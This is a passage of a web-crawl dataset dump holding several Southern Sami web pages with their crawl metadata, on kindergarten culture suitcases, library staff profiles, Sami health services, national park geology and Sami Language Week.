0.01505722850561142}","num_words":615,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kofferte saemien sisveginie mejtie maanagïerth maehtieh löönedhSaemiedigkie daan raajan govhte kofferth daeverigujmie åtna mejtie maanagïerth Nöörjesne maehtieh löönedh. Kofferth edtjieh viehkine årrodh gosse edtja saemien kultuvren bïjre soptsestidh maanide maanagïertesne. Namhtah koffertidie löönedh, men löönije foeresjimmien åvteste maaksa gosse koffertem bååstede seedtie Saemiedægkan. Juktie dan jeenjesh kofferten mietie gihtjieh, fïerhte maanagïerte maahta koffertem löönedh aktem våhkoem.Tjuara koffertem dongkedh portaalen tjïrrh Ovttas|Aktan|Aktesne. Portaalesne maahta veeljedh magkeres gapta dåahkah edtjieh utnedh. Kofferth dåahkajgujmie gååvnesieh mah leah baernie- jïh nïejtegaptajgujmie sijjijste Guovdageaidnu, Ivgu (Lyngen), Buolbmát (Polmak), Unjárga jïh julevsaemien dajveste. Karasjohken nïejtegapta jïh baerniegapta ajve goh ellies gapta (gapta, tjohpe, lijnie jïh beelhte) mij maanide sjeahta aaltarisnie 2 – 3 jaepieh. Guovdageaidnun jïh Karasjohken gaptah leah seamma koffertisnie.Tjuara koffertem dongkedh portaalen tjïrrh Ovttas|Aktan|Aktesne. . Kofferti sisvege:Beelhte nejpineSoehpenje reagkineGuksieSaemien saevegeNïejtedåahka saemien vaarjoejgujmieBaerniedåahka saemien vaarjoejgujmieBaerniegapta, Karasjohka, str. 2-3 jaepieh (ajve Guovdageaidnun jïh Karasjohken kofferte)Nïejtegapta, Karasjohka, str. 2-3 jaepieh (ajve Guovdageaidnun jïh Karasjohken kofferte)Bïevnesegærjetje – saemiej bïjreBïevnesegærjetje – saemien gaptahCD laavlomigujmieCD joejki\/vueliejgujmiePC-spïele tjoejegærjineMini-skovterh gieriehtsinie, moereste dorjesovvemeLaavlomegærjaPrïhtjegevoesseLotto-spïeleGærja maanagïertebarkijidieBaakoegærja maanide","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sametinget.no\/lierehtimmie\/learoevierhtieh\/learoevierhtiejarnge\/koffert-med-samisk-innhold-til-utlan-til-barnehager\/","date":"2024-04-22T16:33:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818312.80\/warc\/CC-MAIN-20240422144517-20240422174517-00487.warc.gz","language":"sma","language_score":0.9997622371,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999762237071991}","num_words":154,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faage Beapmoe jïh healsoe Eatnemefaage Musihke Saemien 1 Saemien 2, 3 jïh 4 Gïengielåbpoe saemiengïelem ööhpehtidh Siebriedahkefaage Eatnemelearoe jïh histovrije Båatsoe jïh design Saemien histovrije jïh siebriedahke Saemien musihke jïh scena Saemien visuelle kultuvre Daltese Maanagïerte SAÖ 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele Noerhtesaemiengïele Åarjelsaemiengïele Daaroengïele Gïelesïerre Magkeres Bïevnesh Aamhtese Aamhtesh Aerpiemaahtoe Beapmoe Eatnemenåhtoe Vuelie Njaalmeldh kultuvre Duedtie Eatnemelearoe Åålmege jïh laanth Kaarhte Saepmie Histovrije Saemien histovrije Kultuvre Filme Kåanste Litteratuvre Musihke Aarhte jïh daajroe Healsoe Byjrese Eatnemefaage Siebriedahke Meedije Politihke Siebriedahkedaajroe Skuvle jïh ööhpehtimmie Saemiengïele Viehkiebaakoe Saemien åålmegebiejjie Saemien åålmegebiejjie","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/artihkal_saemiej-aalmegebiejjie","date":"2024-04-14T18:49:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816893.19\/warc\/CC-MAIN-20240414161724-20240414191724-00567.warc.gz","language":"sma","language_score":0.9997958541,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997958540916443}","num_words":86,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.198,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuartesjh daam sæjroem jïh lohkh ånnetji gaajhki barkiji bïjre. Muvhth saarnoeh sijjen nïekedassi bïjre, mubpieh jis mestie billieh jallh gusnie sijjieh bööremes murriedieh. Gaajhkesh gujht jeahteme Polarbibblo hijven jïh jearsoes sæjroe maanide.\nAlexandra\nMov nomme Alexandra jïh manne Polarbibblom evtedem jïh orrestahtam. Maam vuajnam bööremes Polarbibblosne, dïhte jearsoes sijjie maanide gusnie maanaj åssjaldahkh jïh ïedtjh åadtjoeh vååjnesasse båetedh.\nOjhte hijven sijjie maanide, men saarnoeh jeenjebem jïjtjedh bïjre. Gusnie datne murredh jïh mejtie mestie bïllh, barre goh jolledahkijste?\nJolle baektine manne bööremeslaakan murredem, barre goh Luvlierïjhkesne, guktie dejstie im leah aerkie goh. Stoere hievnijste gujht bïllem.\nAnnette\nMov nomme Annette, manne gåetesne årroem jïh eahtsam lohkedh, gööledh, tjaetsesne saavredh, teaterisnie mïnnedh jïh blåammah bihkedh. Polarbibblosne mov dïedte lea dah nasjonaale unnebelåhkoegïelh.\nSaernieh juhtieh dov lea superfaamoe. Maahtah soptsestidh mij, vuj mejtie haajpene dellie?\nMaahtam badth saarnodh! Mov superfaamoe lea maehtedh meänkieli soptsestidh.\nMestie dellie bïllh?\nTuhtjem ïskeres bïjline jïengen nelnie vuejedh. Rijsekrovnekraavhtse aaj.\nDesirée\nDesirée mov nomme jïh manne gærjagåetieadministratöörine barkeminie, gærjagåetesne man nomme Piteå Stadsbibliotek. Mov barkoe guvvide jïh tjihtesidie vuartasjidh.\nDatne dan lustes gïelem maahtah. Guktie bist dam gåhtjoejih?\nMaahtam gïetegïelesne goerkesadtedh, dellie barre goh gïetigujmie soptsestem. Dam gïelem nuhtjie jis nåake gåvla, jis bieljiehtadtje jallh jis jeatjahlaakan fiejlien. Eatnemen tjaebpemes gïele, jis mannem gihtjh!\nGuktie dam leah lïereme jïh magkere dïhte gïetegïele? Jeenjebem soptsesth!\nJuktie mov vïelle bieljiehtadtje, dellie manne aaj lïereme. Gaajhkene laantesne sjïere gïetegïele. Gaajhkesh, dovne almetjh jïh juvrh jïjtsh væhtam åadtjoeh. Mov bïenjen vihties væhta mij vuesehte dan akte gåebriebieljie. Naa luste!\nMagkeres væhta dov, jïh guktie dam dorje?\nMov væhta vuesehte munnjan krogke vååjnoe njaelmien baaktoe gosse mojjestem. Naemhtie darjoeh: dellie åelkies ohtjesoermem njaelmien åelkies bealan bïejh!\nDatne såårneme datne jemhkelds, gïengeles tjaetseste aerkie. Mannasinie?\nIm daejrieh gænnah mannasinie. Domtoe maaje goh mij akt ïskeres dunnie jaevrienbetnesne gååvnese, mij sæjhta mov juelkiensoermijste gaetskiestidh.\nEmma\nMov nomme Emma jïh manne gærjagåetiebarkijinie Pihtámisnie barkem jïh dovne Polarbibblon redaktöörine.\nVuajnah saarnoeh maam ij guhte dov bïjre daejrieh, naan tjeakoesvoetem?\nMov nïekedasse akten onne voenese gåetiem tseegkedh. Manne gaahtojste tjarke bïllem, seamma badth jis stoere vuj smaave.\nMuvhth jiehtieh dov lea aevhkies superfaamoe, mij maahta hijven gosse edtjh nïekedsgåetiem tseegkedh?\nManne maehtehtje guvviedidh. Dellie kaanne jïjtje maahtam mov nïekedsgåetiem guvviedidh åvtelen aalkam tseegkedh.\nMij bööremes daennie Polarbibblosne?\nGaajhkh dah tjaebpies saadtegh mejtie maanijste åadtjobe, Sveerjen gellede lehkeste.\nIda\nManne Ida, jïh manne saemien gïeligujmie barkem Polarbibblosne.\nMah dov naan tjeakoesvoete, vuj mij akt maam ij gie gænnah daejrieh dov bïjre?\nManne dan Jïengelaanten gajhkeldh gueleste, jïh dle væjkele leam sjeakodh jïh voessh veaskoeh tsagkedh.\nMah saatnan datne vaeresne lyjhkh mïnnedh rijredh, jïh læjhkan jolledahkijste bïllh?\nHaha! Ojhte nimhtie! Vaeresne jïh hierkien rudtjesne manne vååjeldahtam jolledahkijste bïlledh.\nJulia\nMov nomme Julia Rensberg. Manne gïelh gaarhtam jïh mov lea jïjtjene vætnoesïelte.\nMagkeres vætnoe?\nDellie saemienvætnoeh darjoem. Manne jeenjemasth skåerreste, moereste jïh tjåerveste vytnesjem.\nVååjnoe goh datne olkene murredh dovne giesege jïh daelvege?\nDam badth! Bööremeslaakan jïengesne murredem goekedh gïjrebiejjien jïh gosse håagkstaavra gïetesne, jallh gosse ohtje vïnhtsesne tjahkan. Goh noere lim, dellie giesege vöölkim siglen dagkarinie, maam daaroen gåhtjoeh Optimistjolle.\nSaarnoeh magkeres superfaamoe dov!\nMaahtam bovtsigujmie soptsestidh.\nVan lustes superfaamoe. Mah vïenhth bovtsh aaj billieh mestie datne bïllh?\nVïenhtem! Manne daalhkadahkejorkesimmeste bïllem, eatnemen baahkenimmeste.\nLinda\nLinda mov nomme jïh manne Polarbibblon sisveginie barkem. Manne jeenjh teeksth tjaalam, jïh dle geehtestem jïh pryövestem guktie sæjroen gaajhke orre sisvege hijven vååjnoe åvtelen dahkoe luejhtebe. Manne dïhte leam jeenjh guvvieh dorjeme jïh guvviesoptsesi juvride hammoedamme. Manne saadtegh staeredem jïh manne dïhte dov e-mailide vaestedem gosse mijjide tjaalah.\nMejtie saatnan datne gaajhkem måjhtah maam vuajnah jïh govlh?\nLea! Mov dan hijven mojhtese guktie jeenjemassem måjhtam mestie lohkeme, vuajneme jallh govleme.\nMij ïskerommes dutnjan?\nGarhkh 😱\nSïjhth tjeakoesvoetem saarnodh maam ij gie dov bïjre daejrieh?\nKraavhkestem gosse tjohkehtovveminie, im badth gosse gallanamme.\nMervi\nMov nomme Mervi jïh gosse vuajnah orre teeksth jallh darjoemassh sæjrose båateme, dellie kaanne manne dïhte dejtie bæjjoehtamme. Muvhtene gosse tjihtesem mijjide seedth jallh jeatjah soptsesem, dellie manne gie dejtie sæjrose bïejem.\nMij dov mïelen mietie bööremes Polarbibblosne?\nPolarbibblo maanide madtjeldahta meänkieli jïh saemien soptsestidh. Dah gïelh Sveerjesne orreme ihkie man guhkiem, mejtie eah dan gallesh vielie maehtieh.\nGusnie datne murredh?\nManne vïnhtsem åasteme jïh vaajtelem edtjem desnie murriedidh, men im daejrieh. Mejtie sån barre ïskeres sjædta jis stoere baaroeh båetieh. Mah dov naan raerieh guktie sagke buerebe aalkam jaevresne murriedidh?\nSanna\nManne Sanna jïh manne bovtsedaejrije. Daennie Polarbibblosne mov barkoe maanaj julevsaemien saadtegh dåastoehtidh jïh sæjrose dejtie bïejedh.\nMah dov naan superfaamoe vuj tjeakoesvoete jïjtjedh bïjre?\nLea. Maahtam gïeti nelnie tjåadtjodh. Mov tjeakoesvoete seangkoen nuelesne, gusnie fæjhkavåarhkoem åtnam.\nMij lustemes darjomes Polarbibblosne?\nLustemes tuhtjem memorym spealadidh!\nDïhte hov luste! Gusnie bööremes murredh?\nManne giesielaantesne murredem, jaevrien lïhke man nomme Saluhávrre.\nSara\nMov nomme Sara jïh manne noeregærjagåetiebarkije. Tuhtjem dan luste nuerebe maanajgujmie barkedh, guktie provhkem vaajeseboelhkh sualadidh jïh bielie-gærjaklubbem jïjtjene barkoeguejmeste.\nVan luste jïjtjedh barkoem lyjhkh. Idtjih goh jeatjebem sïjhth darjodh goh maana lih? Saarnoeh!\nGoh gaektsien jaepien lim, dellie sïjhtim govneseepijinie barkedh. Tuhtjim dan luste vååjni åadtjodh rehpien nïlle goetsedh jïh vaarjojde baajedh ihkie man govnen sjïdtedh!\nMah dov naan joekoen superfaamoe?\nMov badth aaj. Jis naan tjoeje maam im sïjhth govledh, dellie orrejem dam goltelidh. Maaje muvhtene ij leah mov mïele, jïh dellie sååjhtoe im govlh maam almetjh munnjan jiehtieh gænnah. Oi!\nNåa, nåake jis gie akt datnem birreste lihtieh bïssedh jallh sjeakodh. Gusnie datne murredh jïh gusnie datne bööremes lïegkedh?\nSijjesne, man nomme Bergnäs, gaskoeh Árviesjávrriem jïh Árjapluovvem. Dïhte mov gujnen sijjie jïh sov fuelhkien, men manne gujht aaj desnie murredem. Desnie gaajhke maam eahtsam, desnie moerh, jeenje tjaetsie jïh vaenie destie maam tjuara darjodh.\nMah sïjhteme gyhtselh utnedh gåetien sisnie?\nAell' aellieh! Manne gyhtselijstie aerkie. Saaht magkeres gyhtselistie jallh gyhtselegåeteste. Dah dan ïskeres, gaajhkh!\nStina\nManne Stina jïh manne gærjagåetesne barkem, man nomme Piteå Stadsbibliotek. Desnie daamtaj dovne nuerebe jïh båarasåbpoe maanajgujmie gaavnedem, jïh dle raerestem magkeres gærjah maehtieh lohkedh.\nMij superfaamoe dov?\nMaahtam soelke njaakedh goh ninja!\nÅåh, van luste! Maam datne jis vuajnah bööremes Polarbibblosne?\nMijjen luvnie gaajhkh maanah hillem åadtjoeh sijjen saadtegh gaskevearman bïejedh, dïhte joekoen hijven. Manne baakoemasjijnem lyjhkem, dïhte skraejrine orre åssjaldahkh buektedh.\nMestie datne bïllh?\nLedtijste, eeremes moevsijste.\nTherese\nTherese mov nomme jïh manne jïjtjene fuelhkine årroem, jïh golmine stoere bïenjine jïh gaahtojne. Mijjen sïrvh jïh vöönhtsh aaj dennie aktene onne voenesne, man nomme Mockträsk Boden'n ålkolen. Manne gærjah tjaalam, dovne maana- jïh noeregærjatjaelije leam, jïh dellie Polarbibblosne barkem.\nMejtie dov gåajkoe daamtaj orre åssjaldahkh båetieh, juktie dan vïssjele leah soptsesh måjhtajidh jïh gærjah tjaeledh?\nVihties! Dïhte golh mov superfaamoe. Jïh dejnie im gåessie gænnah vïssjehtovvh.\nIh goh tjeakoesvoetem saarnoeh jallh maam jeatjebem?\nGoh maana lim, vïenhtim naan båeries onne aajjetje mijjen bealesne årroeminie. Båeries vuebnesne maam idtjimh vielie provhkh. Manne seangkoem dahkoe laatjoejim jïh beapmoeh dïsse buektiejim. Jïh beapmoe haajpani! Aervedem barre gaahtoe dïhte bårri. Vuj maam datne vïenhth?\nIj goh sån naan aajjetje læjhkan lih? Saarnoeh mij dov mïelen mietie bööremes Polarbibblosne!\nBööremes gujht dïhte gååvnese! Luste lij jis mov maanabaelien aaj naan dagkere. Manne gidtjh lyjhkim tjaeledh, men ij lih naan geervealmetje lïhketjisnie gie mannem meehti dejnie viehkiehtidh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.polarbibblo.se\/sma-se\/gieh-daesnie-barkeminie\/","date":"2024-04-16T18:33:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817103.42\/warc\/CC-MAIN-20240416155952-20240416185952-00179.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":1159,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Helse- og omsorgstjenester til den samiske befolkning - sammendrag på sørsamisk\nIktedimmie\nSaemieh leah unnebelåhkoe Nöörjesne. Dej reaktah healsoe- jïh hoksedïenesji sisnjeli stuvresuvvieh gaskenasjonaale konvensjovnijste jïh nasjonaale laakijste. Stoerre individuelle jïh voenges gïeleldh, kultuvrelle jïh jielemeligke jeerehtsh saemien siebriedahken sisnjelen. Joekoen vihkeles healsoe- jïh hoksebarkijh daajroem utnieh sosijaale, histovrijes jïh kultuvrelle faktovri bïjre mah maehtieh vihkeles årrodh gaskesadtemen gaavhtan saemiej jïh healsoe- jïh hoksedïenesji gaskem. Nöörjesne dïhte politihkeles ulmie orreme aktem kultuvrelle sjïehteladteme faalenassem saemien årroejidie vedtedh dej dïenesji sisnjeli mah gååvnesieh, sijjeste sjïere dïenesjh saemien årroejidie evtiedidh.\nSaemien årrojh healsoedïenesjidie seammalaakan jïh seamma jïjnjem nuhtjieh goh jienebelåhkoen årrojh, men eah leah seamma madtjeles viehkiefaalenassine. Vaallah vååjnoe goh lea joekehtsh gaskem saemien årrojh jïh jienebelåhkoen årrojh gosse lea healsoen jïh skïemtjelassi bïjre, men såemies lidteratuvre tjïerteste saemieh aktem jeatjah goerkesem utnieh healsoste, skïemtjelassijste jïh båehtjierdimmeste goh jienebelåhkoen årrojh. Edtja læjhkan våårege årrodh dam gïehtjelidh goh akte saetniesvoete mij lea faamosne gaajhkide saemide. Lidteratuvre aaj gååvnese mij vuesehte saemieh skïemtjelassen jïh healsoen bïjre ovrïektelaakan soptsestieh jïh viehkine metafovrijste. Dïhte vuajnoe mij jeahta saamastallije almetjh sijhtieh buerebh saemien nuhtjedh gosse healsoe- jïh hoksedïenesjigujmie gaskesedtieh ånnetji jorkese urrebe dotkemisnie, mij vuesehte mij gïelide mij eeremasth åtnasåvva lea jearohke almetjistie jïjtje jïh tsiehkeste. Maam ulmide fuelhkie jïh aerpievuekieh utnieh jïjtjeviehkien sisnjelen stoerre leavloem åådtje bieline lidteratuvreste. Seamma tïjjen dle dotkeme vuesehte saemieh vielie viehkien mietie gihtjieh byögkelesvoeteste.\nJïjtse jïh mubpiej dååjrehtimmieh daaroedehtieminie jïh stigmatiseradimmine maehtieh ulmiem utnedh guktie saemieh healsoe- jïh hoksedïenesjidie gaavnedieh. Dotkeme ij leah aktelaaketje mejtie dagkerh dååjrehtimmieh ulmiem utnieh dan healsose maam jïjtse dååjreme. Lidteratuvre aaj vuesehte identiteete akte gïerve dïejvese.\nLidteratuvre tjïerteste vihkeles healsoe- jïh hoksebarkijh daajroem utnieh saemien gïelen jïh kultuvren bïjre gosse saemien almetjh demensine gaavnesjieh. Vaenie dotkeme gååvnese mij jarngesne åtna guktie tsiehkie lea saemien almetjidie demensine, dej fuelhkieh jïh aktivyöki barkoe byögkeles healsoe- jïh hoksedïenesjigujmie. Daelie orre dotkemeprosjektigujmie nïerhkeme daejnie suerkine.\nIndvijduelle sjïehteladteme jïh voenges gårreldimmie vihties råajvarimmijste leah dovne daerpies jïh vihkeles, dan åvteste saemien årrojh leah gellielaaketje.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.helsebiblioteket.no\/innhold\/omsorgsbiblioteket\/samisk\/helse-og-omsorgstjenester-til-den-samiske-befolkning-i-norge-sammendrag-pa-sorsamisk","date":"2024-04-12T14:12:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816024.45\/warc\/CC-MAIN-20240412132154-20240412162154-00613.warc.gz","language":"sma","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000011920928955}","num_words":322,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Geologije\nBjörnlanden nasjonaaleparhkesne datne maahtah bïerjh, aavroeh jïh gierkieh dååjredh. Fååhperh, aareske jïh aavroeh vuemesne jïh såemies sijjine leah gïerve vaedtsedh jïh naemhtie minngemes jïengeaejkeste.\nRööpseskraevies Revsundsgranite\nBïerjebetnie dajvesne lea rööpseskraevies Revsundsgraniteste. Dïhte sjïere åarjel Saepmien jïh Jïemhten siseatnamisnie jïh dïhte vadta moreenh. Bïerje lea kruepies jïh aelhkieslaakan barhkoe jïh dïhte 10 centimeeterh stoerre kristallh, mineraaleste kalifältspat. Dïhte medtie 1800 millijovnh jaepien båeries.\nGieltegs aavroeh\nDah aavroeh sjïdtin jïengeaejkien gosse jïenge biehkieh vaerijste tsööpki jïh dåalvoeji dejtie diekie. Dan mænngan lea tjïengele gierkide jïh tjuegkielidie lutnjeme jïh sirteme. Burhvieh, beatsetjh jïh snjearah jallh suaja-snjearah desnie dovne dej nuelesne jïh nelnie.\nFååhperh jïh aavroelihpieh\nStorberget 551 meteerh mearoen bijjelen lea jollemes gusnie Jon-Ersberget jïh Björnberget. Dej bïerji bïjre jïh Häggsjöbïerjen bïjre gååvnesieh fååhperh. Desnie aaj dan soe båeries bietsieh. Fååhperi lïhke gååvnesieh daamhtaj aavroeh, gusnie aaj aavroe-lihpieh.\nJuoge ietjat rádnaj\nJuoge dáv bielev ietjat rádnaj Facebookan, X, Google+ ja mailajn.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/suoddjimparkkadiedo\/geologije\/","date":"2024-04-17T03:04:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817128.7\/warc\/CC-MAIN-20240417013540-20240417043540-00591.warc.gz","language":"sma","language_score":0.9999963045,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999963045120239}","num_words":146,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelevåhkoe\/ Giällavahkkuo\/ Giellavahkko\/ Giellavahkko\/ Giellavahkku\/ Kielâokko\/ Ǩiõllneä'ttel\/ Samisk språkvecka\/ Samisk språkuke\/ Saamen kielten viikko\nGïelevåhkoe, Saemien gïelevåhkoe, daelie mijjieh dejtie saemien gïelide njealjeden aejkien iktemearan heevehtibie. Dah golme Saemiedigkieh, Sveerjesne, Nöörjesne jïh Soemesne gaajhkesh böörestieh meatan årrodh, voenges, regionaale jïh nasjonaale daltesisnie dennie aktesevyöki barkosne. Dah saemien gïelh edtjieh Gïelevåhkosne vååjnedh, govledh jïh åtnalgovvedh gaajhkide dajvide seabradahkesne. Gïelevåhkoem heevehtibie våhkoe 43, rïhkeden\/golken 24-30 b.\nGïelevåhkoe eelki EN:n aalkoealmetji gïelejaepesne (IYIL 2019). Daelie EN luhkiejaepie-boelhkem 2022-2032, aalkoealmetji dekaadine nammoehtamme, the International Decade of Indigenous Languages (IDIL). Dekaade edtja barkoem eadtjaldehtedh juktie gaajhkide veartenen smaave gïelide vaarjelidh, jïh evtiedidh. Gïelevåhkoe jïh aalkoealmetjejaepie-dekaade rïhpesuvvieh aktesevyöki seremonijine rïhkeden\/golken 23. b. Snåasesne, Nöörjesne. Rïhpestimmieseremonijesne SM gånka Harald V Nöörjeste edtja meatan årrodh. Saemiedigkien ståvroeåvtehke Sveerjesne, Saemiedigkiepresideenth Nöörjesne jïh Soemesne, jïh tjïelte- jïh dajveministere Nöörjesne edtjieh aaj meatan årrodh. Gïelevåhkoe fïerhten jaepien ovmessie sijjide Saepmesne rïhpesåvva jïh dïhte aktesevyöki heevehtimmie dellie aalka juktie dejtie saemien gïelide abpe Saepmesne vååjnehtehtedh.\nBïevnesh deahpadimmiej bïjre Saepmesne, designh mejtie maehtede Gïelevåhkosne nuhtjedh jïh jeatjah aevhkies materijaalh gååvnesieh nedtesæjrosne www.giellavahkku.org. Gåarede aaj Gïelevåhkoem sosiaale medijinie dåeriedidh.\nHashtagh mejtie sosiaale medijinie åtnalguvvieh:\n- #gïelevåhkoe\n- #giällavahkkuo\n- #giellavahkko\n- #giellavahkko\n- #giellavahkku\n- #kielâokko\n- #ǩiõllneä'ttel\n– Ulmie saemien Gïelevåhkojne lea vååjnehtehtedh rïjhkeraasti rastah man ræjhkoes mijjen saemien gïelh leah, ij barre Saepmesne juktie abpe seabradahkesne. Mijjieh sïjhtebe maahtoem saemiej gïeli bïjre jieniedidh jïh dej saemien gïeli staatusem lutnjedh, Håkan Jonsson jeahta, ståvroeåvtehke Sveerjen Saemiedigkesne.\n– Hijven vuejnedh guktie dah saemien gïelh Gïelevåhkosne vååjnoes sjidtieh. Manne joekoen aavone gosse beapmoebovrese tjaangem jïh tsïeglh saemien gïelesne vuajnam. Maanah råakedh mah saemestieh lea vihkeles juktie dïhte vuesehte dah saemien gïelh buerielaakan veasoeminie, Jonsson lissehte.\n– Gïelevåhkoe rïjhkeraasti rastah lea vihkeles juktie dah saemien gïelh Soemen, Sveerjen, Nöörjen jïh Russlanten rïjhkeraasti bijjelen soptsesuvvieh. Vihkeles jïh iemie gaajhkide saemide mijjieh ektesne vuesehtibie, jïh nænnoestibie mijjen vaajmoegïelen sijjie seabradahkesne. Gïelevåhkoe lea ektiebarkoe juktie dejtie saemien gïelide vååjnehtehtedh, jïh maahtoem dej bïjre abpe seabradahkesne lissiehtidh. Ektesne stuerebe dïedtem vaeltebe juktie dah saemien gïelh govloeh, vååjnoeh jïh åtnalguvvieh abpe seabradahkesne, Nöörjen saemiedigkiepresideente Silje Karina Muotka jeahta.\n– Gïelevåhkoen ulmie lea dejtie saemien gïelide seabradahkesne vååjnehtehtedh. Jis dah saemien gïelh edtjieh vååjnedh jïh govledh abpe seabradahkesne, dellie vihkeles stuerebe aktöörh leah meatan dennie vihkeles barkosne, jïh viehkehtieh dejtie saemien gïelide vååjnehtehtedh, jïh dej staatusem lutnjedh. Mijjieh gaajhkesidie haestebe meatan årrodh dejtie saemien gïelide vååjnehtehtedh jïh gïeli statusem lutnjedh. Dovne smaave jïh stuerebe öörnemh leah vihkeles, Muotka tjïerteste.\nBuerie båeteme gaajhkesh dovnesh Gïelevåhkose meatan årrodh! Manne aaj jeatjah aktöörh böörestem meatan årrodh: sielth, organisasjovnh, siebrieh, åejvieladtjh, jïh privaate almetjh. Vihkeles dan gellie mah maehtieh leah meatan abpe seabradahkeste, juktie dah saemien gïelh vååjnoes jïh govloes Gïelevåhkosne. Manne hååhkesjem dan gellie mah maehtieh eadtjalduvvieh jïh leah Gïelevåhkosne meatan, Saemiedigkien åvtehke Tuomas Aslak Juuso jeahta.\nManne hååhkesjem dah mah Giellavahkkusne meatan maehtieh dejtie saemien gïelide sijjen aarkebiejjesne vååjnehtehtedh. Dïhte joekoen vihkeles gaajhkesidie mijjieh maehtebe govledh jïh mijjen gïelem aarkebiejjesne nuhtjedh. Gïelevåhkosne maehtebe v.g. tsïeglh saemien gïelesne nuhtjedh, jïh bïevnesh saemien gïelesne utnedh jallh saemiestidh, man åvteste ij? Lissine dah mah leah Gïelevåhkosne meatan, maehtebe aaj ovmessie öörnemh gïeli jïh kultuvren gaavhtan öörnedh. Smaave öörnemh leah aaj vihkeles. Vihkielommes lea meatan årrodh jïh dejtie saemien gïelide Gïelevåhkosne vååjnehtehtedh, Saemiedigkien åvtehke Tuomas Aslak Juuso jeahta.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/giellavahkku.org\/sma\/internasjonal-samisk-sprakuke-2022\/","date":"2024-04-24T05:30:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296819067.85\/warc\/CC-MAIN-20240424045636-20240424075636-00215.warc.gz","language":"sma","language_score":0.9999861717,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999861717224121}","num_words":514,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aalkoeåålmege jïh nasjonaale unnebelåhkoe\nSaemieh jïh nasjonaale unnebelåhkoeh leah åvtelhaarvoeh jïh sïerredimmiem Nöörjesne dååjreme jïh dam annje dååjroeh. Guktie daej dåehkiej bïjre jïh dåehkiejgujmie ööhpehtidh guktie dïhte seammavyörtegsvoetem jïh gellievoetegoerkesem eevtjie?\nSaemieh statusem aalkoeåålmeginie Nöörjesne utnieh. Aalkoeåålmegh leah nomme akten almetjedåahkan mah ektiedimmiem aktene geograafeles dajvesne utnin åvtelen nasjonaalestaate tseegkesovvi. Nasjonaale unnebelåhkoeh leah almetjedåehkieh mah guhkies ektiedimmiem laantese åtneme. Nöörjesne daate vïjhte dåehkieh: kveenah\/nöörjensoemeladtjh, juvdelassjh, skåajjesoemeladtjh, rovmerh jïh romanialmetjh\/tadterh.\nSaemieh, kveenah\/nöörjensoemeladtjh jïh skåajjesoemeladtjh leah joekeths såarhts daaroedehtemepolitihkem dååjreme. Skuvle lij vihkeles dïrrege daennie politihkesne. Gaskem jeatjah maanah jïh noerh noerhkesovvin daaroem nuhtjedh sijjeste jïjtsh ietniengïelem.\nJuvdelassjh Nöörjesne joekehts såarhts antisemittiske åvtelhaarvoeh dååjroeh, jïh baakoe «jøde» annje åtnasåvva goh vestiesbaakoeh såemies skuvline. Romanialmetjh\/tadterh jïh rovmerh leah dej gaskem mah jeenjemes åvtelhaarvoeh Nöörjesne dååjroeh, seamma tïjjen goh jeenjesh joekoen vaenie dej bïjre daejrieh.\nDaan teeman nuelesne dovne bïevnesh gaavnh daej ovmessie dåehkiej bïjre, tjïelke tipsh jïh ööhpehtimmiesoejkesjem juktie saemiej jïh nasjonaale unnebelåhkoej bïjre 